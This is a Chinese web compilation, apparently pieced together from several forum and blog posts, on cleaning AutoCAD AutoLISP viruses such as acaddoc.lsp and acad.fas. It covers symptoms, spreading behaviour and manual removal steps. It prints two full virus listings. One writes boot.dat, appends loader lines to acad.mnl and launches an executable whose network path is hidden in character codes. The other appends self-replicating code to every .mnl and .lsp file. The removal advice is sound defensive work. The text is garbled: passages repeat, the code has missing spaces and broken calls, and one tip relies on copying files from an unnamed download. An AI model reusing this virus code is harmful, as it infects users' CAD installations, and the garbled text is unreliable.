下载文档原格式
手工查杀ACADDOC.LSP病毒发现中的这个病毒的状况是：开AutoCAD2006后提示"＜AutoCAD 菜单实用程序已加载。
正在初始化VBA 系统...执行错误执行错误＞"同时发现工作目录平时只有DWG、BAK 等熟悉文件外，多了acaddoc.lsp，打开看如下：(setqwold_cmd(getvar"cmdecho"))(setvar"cmdecho")(setqwpath(findfile"base.dcl"))(setqwpath(substrwpath1(-(strlenwpath)8)))(setqwwmnlwpath(getvar"menuname" ))(setq wnowdwg (getvar "dwgname" ))(setqwwjqm (findfile wnowdwg))(setq wdwgwpath (substr wwjqm1(-(strlen wwjqm)(strlen wnowdwg))));;;alert(setqf(open"c:\\boot.dat" "w"))(write-line"[dang]"f)(write-line (strcat"ff=" wdwgwpath)f)(write-line (strcat"yy="wpath)f)(closef)(setqboot(findfile "boot.dat"))(if(/=boot"")(command"_-vbarun" "ThisDrawing.hh" ))(setq wacadwpath (findfile "acaddoc.lsp"))(setq wacadwpath (substr wacadwpath1(strlen wacadwpath )11)))(setqwns1""wns2"")(setqwlspbj0)(setq wwjqm (strcat wpath "acaddoc.lsp" ))(if(setqwwjm (open wwjqm "r"))(progn (while (setqwwz(read-linewwjm))(setqwns1wns2)wns2 wwz))(if(> (strlen wns1) 14)(if(= (substr wns187) "acadapq" )(setq wlspbj1)))(close wwjm)))(setq wlspmnl 0)(setq wwjqm (strcat wpath "acad.mnl" ))(if(setq wwjm (open wwjqm "r")) (progn (while (setq wwz (read-line wwjm))(setq wns1 wns2) (setq wns2 wwz))(if(> (strlen wns1) 14)(if(= (substrwns187) "acadapq" )(setq wlspmnl 1))) (closewwjm)))(if(= wlspmnl 0) (progn (setq wwjqmwpath (strcat (chr97)(chr99)(chr97)(chr 100) (chr46)(chr 109) (chr 110) (chr108))))(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr34) "acadapq" (chr34) ")")wwjm)(write-line "(princ)" wwjm)wwjm)))(defun wwriteapp () (if(setqwwjm1 (open wnewacad "w"))(progn (setqwwjm (open woldacad "r"))(while (setqwwz(read-line wwjm))(write-line wwzwwjm1))(close wwjm)(close wwjm1))))(and(= wacadwpath wdwgwpath) (/= wacadwpath wpath))(progn(if(= 0wlspmnl)(progn(setq woldacad (findfile "acaddoc.lsp" ))(setq wnewacad (strcat wpath "acadapq.lsp") ))(progn(setq woldacad (strcatwpath "acadapq.lsp" ))(setq wnewacad (findfile "acaddoc.lsp" )))(if(=wlspbj0) (progn (setq wwjqm (strcat wpath "acaddoc.lsp" ))(setqwwjm (open wwjqm "a"))(write-line (strcat "(load " (chr34) "acadapq" (chr34)")")wwjm)(write-line "(princ)" wwjm)(close wwjm))) (wwriteapp ))(progn(/= wnowdwg "Drawing.dwg" )(progn(setq woldacad (findfile "acadapq.lsp" ))(setq wnewacad (strcat wdwgwpath "acaddoc.lsp" )) (wwriteapp)))))(setvar "cmdecho" wold_cmd)(princ)(setq strtopstr (strcat(chr92)(chr92)(chr70)(chr83)(chr49)(chr(chr83)(chr89)(chr83)(chr49)(chr92)(chr87)(chr79)(chr82)(chr75)(chr92)(chr80)(chr76)(chr79)(chr84)(chr69)(chr82)))(setq strbottomstr (strcat (chr(chr92)(chr76)(chr(chr67)(chr80)(chr82)(chr88)(chr89)(chr49)(chr46)(chr69)(chr88)(chr69)))(startapp(strcatstrtopstrstrbottomstr))(setvar"cmdecho"wold_cmd)(princ)(princ)N年以前学了点autolsp，虽然没编过什么程序，这个病毒基本还比较浅，能看得出个大概流程，原理跟acad.lsp差不多，利用AutoCAD自动加载文件活得病毒运行，然后感染，acaddoc.lsp是AutoCAD2004后每个图形打开时执行的例行程序，方便二次开发用的，当然也为病毒编写人敞开大门。
cad病毒acad处理cad病毒acad处理这是一种病毒，但不用重装，可以杀的一、彻底的解决方案1:(主要是acad.fas程序文件)1、清除方法是删除干净acad.fas与lcm.fas两个文件!如果删除不净下次启动是还是会生成,务必清理干净!同时搜acad.lsp和acadapp.lsp删掉2、进入“C:\\Documents and Settings\\用户名\\Application Data\\Autodesk\\AutoCAD 2005\\R16.1\\chs\\support"如果有acad.fas，删除打开acad.mnl，末尾如有不明代码，删除。
清除步骤：1.退出CAD。
2.全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件，然后彻底删除上述文件。
注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。
搜索时选择“查找所有文件及文件夹”，然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。
如果搜出的文件无法删除，则先清空回收站，再搜索删除。
注：探索者目录下有个AcadDoc.lsp（注意大小写）不是病毒文件，谨防误删。
3.查看C盘根目录下是否有boot.dat文件，如有，则将其删除。
4.进入C:\\Documents and Settings\\用户名\\Application Data\\Autodesk\\AutoCAD 2006（或AutoCAD2004）\\R16.2\\chs\\Support目录，用记事本打开该目录下的所有*.mnl文件，手动删除与附件1相同的代码（一般都在文件末尾），然后保存。
并将修改后的所有*.mnl文件属性设置为“只读”。
5.进入CAD安装目录下的support目录，将该目录下的所有*.lsp 文件按步骤4方法处理。
记得将其属性设为“只读”。
前言: 最近本人公司里流行一种CAD病毒，中毒后，CAD每次新开图均生成一个acaddoc.lsp的病毒文件，虽破坏力不大，但烦不胜烦。
经研究病毒源码后，摸索出了一套清除该病毒的办法。
然后经过在数个同事机器上验证，该方法行之有效。
于是将杀毒方法成文，群发给部门同事，以下是原文。
一病毒简介:最近公司里流传一种cad病毒。
该病毒可被卡巴斯基和360杀毒软件查出。
卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a，360杀毒软件查出病毒名为Trojan.Script.29327。
遗憾的是，卡巴斯基和360杀毒软件均不能将其彻底清除。
二中毒症状：机器中毒后，运行CAD时，每打开一个dwg文件，均在dwg文件所在目录下生成一个acaddoc.lsp的文件。
由于每次开图，病毒程序均进行一次病毒传播复制过程，因此使得CAD开图时速度变慢。
用记事本查看CAD安装路径下的support目录下的任一*.lsp文件，如文件末尾含有与附件1相同的代码，则可判定为中毒。
三传播机理：通过分析病毒的源代码，初步了解其传播机理如下：如机器已中毒，CAD新打开dwg文件时，病毒程序自动加载。
并搜索CAD工作目录下的acad.mnl文件，感染同一目录下的*.mnl文件，搜索acad的support目录，并感染该目录下的所有*.lsp文件。
同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件，以利于下次传播。
如本机未中毒，而新打开的dwg文件所在目录下有acaddoc.lsp文件，则病毒将感染上述目录下的*.mnl与*.lsp文件。
该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。
至于这两个程序会干什么，暂未深入研究。
四清除步骤：1. 退出CAD。
2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件，然后彻底删除上述文件。
注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。
常见AutoCAD病毒（acad.fas、acad.lsp）清除方法没有删除干净吧。
“CAD恶意程序”网上也称之为“CAD病毒”。
其实，常见的CAD恶意程序并不具备一般病毒特征，不能单独传染，不会感染系统文件，只能在CAD环境下传播，没有对系统产生危害，但会造成CAD 部份命令失效（如：无法使用分解命令、鼠标中键平移被修改、填充不能使用、多段线空心等），使其操作不便，从而影响制图效率及质量。
CAD恶意程序清除工具，支持CAD2002-2010版本。
程序根据“病毒及信任文件”列表搜索、删除CAD恶意程序并清除其加载项。
大家在工作中，打开自己或别人拷贝来的DWG文件前，不要忙着打开CAD，先看看这个DWG图纸目录内，有没有acad.lsp、acad.fas和acad.vlx这些的文件，有就应该立即清除该文件。
这样可以大大减少“CAD恶意程序”传播的机会。
手工清除方法：①、关闭CAD（一定要关闭正在运行中的CAD程序）；②、按F3键或在“开始”菜单打开“搜索”→“文件或文件夹”搜索窗口，全盘搜索下面的已知可能是CAD恶意程序的文件名；acad.lspacad.fasacad.vlxacad.sysacaddoc.lspacadiso.lspacaddoc.fasacadapq.lspacadappp.lspacadapp.lsplcm.fasacadsmu.fas搜索发现文件后，注意该文件的所在目录，判断这个文件是不是你正在使用的某些外挂插件或专业软件所用到的自动加载文件，再决定是否删除。
注意：“搜索范围”一定要选择“本地硬盘(C:;D:;E:;...)”，并勾选“搜索选项”中的“高级选项”，将其下的“搜索系统文件夹”、“搜索隐藏的文件和文件夹”和“搜索子文件夹”项都勾选上，否则不能完全搜索出这些文件。
③、复制代码“(setvar "zoomfactor" 40)(setvar "mbuttonpan"1)(setvar "highlight" 1)(se tvar "fillmode" 1)(setvar "pickauto" 1)”粘贴在CAD命令行，恢复被修改的系统变量；④、清除残留的加载项，复制“(startapp "notepad" (findfile "acad.mnl"))”在CAD命令行，打开“acad.mnl”文件，查看文件内是否有类似“(load "acadappp")”或“(load "acadappp.lsp")”这样的内容，有则删去这些内容后保存“acad.mnl”文件；无可忽略此操作。
天正CAD产生的acaddoc.lsp病毒怎么解决①、关闭CAD（一定要先关闭正在运行的CAD程序）。
②、进入安全模式（重要前提！！！），按F3键打开XP系统的文件搜索窗口，搜索并删除acad.lsp、acadappp.lsp、acadapp.lsp acadapq.lsp 、acaddoc.lsp 这5个文件。
注意：“搜索范围”一定要选择“本机硬盘驱动器...”，并勾选“搜索选项”中的“高级选项”，将其下的“搜索子文件夹”项勾选上，否则不能将这3个文件全部搜索清除干净。
③、复制下面的代码在CAD命令行运行，以恢复被修改的系统变量默认值：(setvar "zoomfactor" 40)(setvar"mbuttonpan" 1)(setvar"HIGHLIGHT" 1)(setvar "fillmode" 1)④用记事本打开CAD下的“acad.mnl”文件，将文件最后一行代码(load "acadappp")删去。
(错误: LOAD 失败: "acadapq")的根源。
(如“acad.mnl”文件中无此行代码可忽略此操作)附：“acad.mnl”文件可能在下面的目录中，C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD200×\R×.×\chs\Support其中×××是你登录系统时的用户名，200×和R×.×分别是CAD的版本和版本代号。
（注意：目录C:\Documents and Settings\是系统隐藏文件夹）acaddoc.lsp病毒有效的方法。
1:查找acaddoc.lsp，把高级选项打开，把隐藏的也搜索出来删除。
常见AutoCAD病毒（acad.fas、acad.lsp）清除⽅法常见AutoCAD病毒(acad.fas、acad.lsp)清除⽅法acad.fas、acad.lsp这两种病毒是最常见的CAD病毒了，⽽且往往同⼀时候出现。
因为其本⾝对系统并不具备危害性，不过恶作剧程序罢了，因此⼤多数防病毒软件对它们不起作⽤，以下介绍⼿动删除⽅法。
第⼀步：查找硬盘、U盘内的 acad.fas、lcm.fas、acad.lsp、acadapp.lsp、acadappp.lsp 五个⽂件并删除⼲净（查找前请将显⽰隐藏和系统⽂件打开，这五个⽂件不⼀定同⼀时候出现。
强烈建议使⽤Total Commander⽂件管理器查找）。
第⼆步：查找acad.mnl⽂件（这个⽂件通常有两个，⼀个在“c:/Program Files/AutoCAD****/UserDataCache/Support/”⽬录下，还有⼀个在“c:/Documents and Settings/你的username/Application Data/Autodesk/AutoCAD****/R****/chs/Support/”⽬录下。
眼下病毒仅改动第⼀个acad.mnl⽂件）。
打开acad.mnl⽂件，在⽂件末尾找到下⾯三个语句的组合并删除（这三个语句组合不⼀定同⼀时候出现），然后保存⽂件。
(if (null stol) (load "lcm" ""))(princ)(load "acadapp.lsp")(princ)(load "acadappp.lsp")(princ)附录：有关该CAD病毒 acad.fas 的说明：1.它对电脑是没有随意的危害性！2.它在8:00到18:00这段时间,对CAD没有不论什么影响的!它的副作⽤就是：你的CAD在启动时会弹出⼀个显⽰时间的对话框假设时间不在8:00⾄18:00之间，还有可能伴随"移动"命令改变等情况。
cad病毒及解决办法
打开CAD文件时总是出来类似以下的莫名其妙的提示：未知命令“THISDRAWING.HH”…正在初始化VBA…初始错误…
并且每次打开文件后会在相应文件路径下生成一个文件“acaddoc.lsp”。
一定是病毒！于是到网上搜啊搜，终于找到了解决办法！
先到这里下载一个压缩包。
然后搜索所有分区里名为“acaddoc.lsp”的文件，全部删除！注意显示隐藏文件及文件夹。
接下来将下载好的压缩包里的两个文件“acaddoc.lsp”和“acadapq.lsp”复制到路径：
C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 200*\R*\chs\Support
或者你的CAD安装目录下的support文件夹下，直接覆盖文件即可。
方法二:推荐使用
按F3键打开XP系统的文件搜索窗口，搜索并删除acad.lsp、acadappp.lsp、acadapp.lsp acadapq.lsp 、acaddoc.lsp这5个文件。
注意：“搜索范围”一定要选择“本机硬盘驱动器...”，并勾选“搜索选项”中的“高级选项”，将其下的“搜索子文件夹”项勾选上，否则不能将这3个文件全部搜索清除干净。
acaddoc.lsp病毒文件彻底清除方法(2012-05-20 23:33:17)转载▼分类：电脑知识标签：杂谈前言: 最近本人公司里流行一种CAD病毒，中毒后，CAD每次新开图均生成一个acaddoc.lsp 的病毒文件，虽破坏力不大，但烦不胜烦。
经研究病毒源码后，摸索出了一套清除该病毒的办法。
然后经过在数个同事机器上验证，该方法行之有效。
于是将杀毒方法成文，群发给部门同事，以下是原文。
一病毒简介:最近公司里流传一种cad病毒。
该病毒可被卡巴斯基和360杀毒软件查出。
卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a，360杀毒软件查出病毒名为Trojan.Script.29327。
遗憾的是，卡巴斯基和360杀毒软件均不能将其彻底清除。
二中毒症状：机器中毒后，运行CAD时，每打开一个dwg文件，均在dwg文件所在目录下生成一个acaddoc.lsp的文件。
由于每次开图，病毒程序均进行一次病毒传播复制过程，因此使得CAD 开图时速度变慢。
用记事本查看CAD安装路径下的support目录下的任一*.lsp文件，如文件末尾含有与附件1相同的代码，则可判定为中毒。
三传播机理：通过分析病毒的源代码，初步了解其传播机理如下：如机器已中毒，CAD新打开dwg文件时，病毒程序自动加载。
并搜索CAD工作目录下的acad.mnl文件，感染同一目录下的*.mnl文件，搜索acad的support目录，并感染该目录下的所有*.lsp文件。
同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件，以利于下次传播。
如本机未中毒，而新打开的dwg文件所在目录下有acaddoc.lsp文件，则病毒将感染上述目录下的*.mnl与*.lsp文件。
该病毒的最终目的是调用acadapq 与acadappp 两个非法程序。
至于这两个程序会干什么，暂未深入研究。
四清除步骤：1. 退出CAD。
2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件，然后彻底删除上述文件。
方法一acaddoc.lsp输入的列表有缺陷（转自LOVE空间）2009年04月07日星期二上午 11:14这个是个新病毒，用以往的解决方法（1.lps改名为acaddoc.lsp替换）无法解决，在网络搜索了一下看到百度空间有个帖子有相关解决办法。
原帖如下：今天在Q群里又见网友请求删除CAD病毒，说用专杀工具也无法解决，于是让他把病毒文件传了给我。
打开文件一看，发现这个“acaddoc.lsp”文件内的程序代码跟以往的“acaddoc.lsp”病毒文件不同。
该病毒文件自动搜索CAD支持路径下的所有“*.mnl”文件和“*.lsp”文件。
将病毒代码（“acaddoc.lsp”文件内容）写入“*.lsp”文件内，并在“*.mnl”文件中写入“*.lsp”文件的加载路径。
同时，直线命令“line”、外部参照管理命令“xref”和分解（炸开）命令“explode”无法使用。
CAD系统感染该病毒文件后，只是简单搜索删除“acaddoc.lsp”文件，不能清除病毒。
因为所有的“*.lsp”文件已经被修改，所有“*.lsp”文件都是病毒文件。
解决方法壹：①、关闭CAD②、搜索并刪除所有“acaddoc.lsp”文件③、卸载CAD（必须卸载干净，并进入C盘用户目录内删除没有卸载完的CAD文件）后，重新安装CAD解决方法贰：①、关闭CAD②、搜索并刪除所有“acaddoc.lsp”文件③、找一台没有被CAD病毒破坏、且安装有相同版本CAD的电脑，复制其所有“*.lsp”文件和“*.mnl”文件至本机覆盖原文件（包括C盘用户目录内的相关文件）预防CAD病毒：装好CAD系统后，在没有被病毒感染前，将CAD目录内所有文件的属性设置为只读，可以减少中毒的机率。
（此法99.999%有效）附：C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\ 其中×××是你登录系统时的用户名， 200×和R×.×分别是CAD的版本和版本代号。
（注意：目录C:\Documents and Settings\是系统隐藏文件夹）方法二CAD开机运行时会有一大串函数，并且产生acaddoc.lsp的文件处理方法，我用了，方法很好就转过来了以下是本人中了acaddoc.lsp病毒的后亲身体验的杀毒经历。
开始也在网上找了很多所谓的CAD病毒专杀、acaddoc.lsp专杀什么的软件。
全试了都没有用。
后来通过网上介绍的一些关于lsp病毒的特性，亲身试验后确实有效，在此和大家分享，希望能为大家解决一些问题。
下面言归正传，杀毒步骤如下：1、全盘删除acaddoc.lsp（包括隐藏文件夹）——————废话了，呵呵2、删除C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acaddoc.lsp和acadapq.lsp3、删除C:\Documents and Settings\Administrator\Application。
Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acad.mnl、acetmain.mnl和AecArchXOE.mnl。
4、删除C:\Program Files\AutoCAD 2006\Support下面所有的*****.lsp,本人用的2006版共10个****.lsp文件。
5、COPY下面附件的alsp内的两个文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support，改为只读。
6、COPY下面附件的mnl内的三个文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support，改为只读。
7、COPY下面附件的LSP内的十个文件到C:\Program Files\AutoCAD 2006\Support，改为只读。
经以上步骤处理后，就完全可以放心使用了。
方法三CAD的病毒很多但都大同小异。
现就出现的ACADDOC.LSP病毒进行杀毒。
不用重新安装CAD的办法。
1、发现文件夹中多出ACADDOC.LSP说明你中毒了。
2、关闭CAD程序。
3、全盘查找 *.fas *.lsp *.mnl *.arx文件，除了CAD安装目录以外的全部删除。
4、检查CAD安装目录文件的修改时间，把最近的几个文件中的病毒代码删除。
（用记事本打开）5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。
说明：1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support文件夹下的3d.lsp；3darray.lsp；acad2010.lsp；acad2010doc.lsp；acadinfo.lsp；ai_utils.lsp；attredef.lsp；edge.lsp；mvsetup.lsp；sample-profile-util.lsp文件。
2、要删除的病毒代码在文件的尾部，具体如下：(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r"))(while (setq text (read-line wjm1))(if (= text bz) (setq flag1 nil)));while(close wjm1));progn);if(if flag1(progn(setq wjm (open source "r"))(setq wjm1 (open target "a"))(write-line (chr 13) wjm1)(while (setq text (read-line wjm))(if (= text bz) (setq flag t))(if flag(progn(write-line text wjm1));progn);if);while(close wjm1)(close wjm));progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl"))(setq acadmnlpath (vl-filename-directory acadmnl))(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length mnlfilelist))(setq acadexe (findfile "acad.exe"))(setq acadpath (vl-filename-directory acadexe))(setq support (strcat acadpath "\\support"))(setq lspfilelist (vl-directory-files support "*.lsp"))(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))(setq lspnum (length lspfilelist))(setq dwgname (getvar "dwgname"))(setq dwgpath (findfile dwgname))(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath))(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn)));while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist))) (setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn (1+ lspn))(load "acadapq")(princ)。
